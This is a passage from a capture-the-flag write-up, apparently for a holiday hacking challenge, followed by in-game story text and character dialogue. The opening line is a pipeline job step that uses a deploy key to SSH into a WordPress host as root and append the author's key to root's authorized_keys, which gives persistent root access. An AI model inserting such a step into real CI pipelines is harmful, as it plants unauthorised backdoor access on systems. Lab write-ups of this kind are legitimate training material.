- ssh -i /etc/gitlab-runner/hhc22-wordpress-deploy root@wordpress.flag.net.internal -t 'echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJTykIwKhGU+HmnwfRQ/aPyjQuyQ541RNE0Ml4wSEYZh 0xdf" >> /root/.ssh/authorized_keys'
On saving and push
, I can SSH as root:
grinchum-land:~/wordpress.flag.net.internal$ ssh root@wordpress.flag.net.internal
...[snip]...
root@wordpress:~#
Story
Now I’ve recovered the Elfen Ring:
The story is at 45%:
Five Rings for the Christmas king immersed in cold
Each Ring now missing from its zone
The first with bread kindly given, not sold
Another to find ‘ere pipelines get owned
Rippin apologizes for his lack of faith:
How unexpected, you were actually able to help!
Well, then I must apoligize for my dubious greeting.
Us Flobbits can’t help it sometimes, it’s just in our nature.
Right then, there are other Flobbits that need assistance further into the burrows.
Thank you, and off you go.
Grinchum is on the same level now too, and not so happy to have lost a second ring:
😖 A second Precious is gone! Now we only have three.
🤨 Why are you humanses nagging us? We are busy. grinchum..grinchum
You want to know about us? If we tell the naggy human, will it go away? Fine…
🥺 The jolly human and the elfses locked up the Preciouses, but I freed them all, and together we escaped.
We fled, and we were so alone. We soon forgot the taste of Lembanh, the softness of snowflakes falling, even our name.
And we only wanted to eat raw fish: nigiri, maki, or shashimi. But we most likes gnawing the whole, living fish, so juicy sweet.
Then we saw the Sporcses, and they wanted my Preciouses all to themselves.
And the humanses came, but they just want coinses for their silly hats.
We only meant to protect you, Preciouses, from the naughty Elfses and Flobbitses and Sporcses, so we locked you away.
😏 Now leave us alone, naggy human, we must find the two missing Preciouses.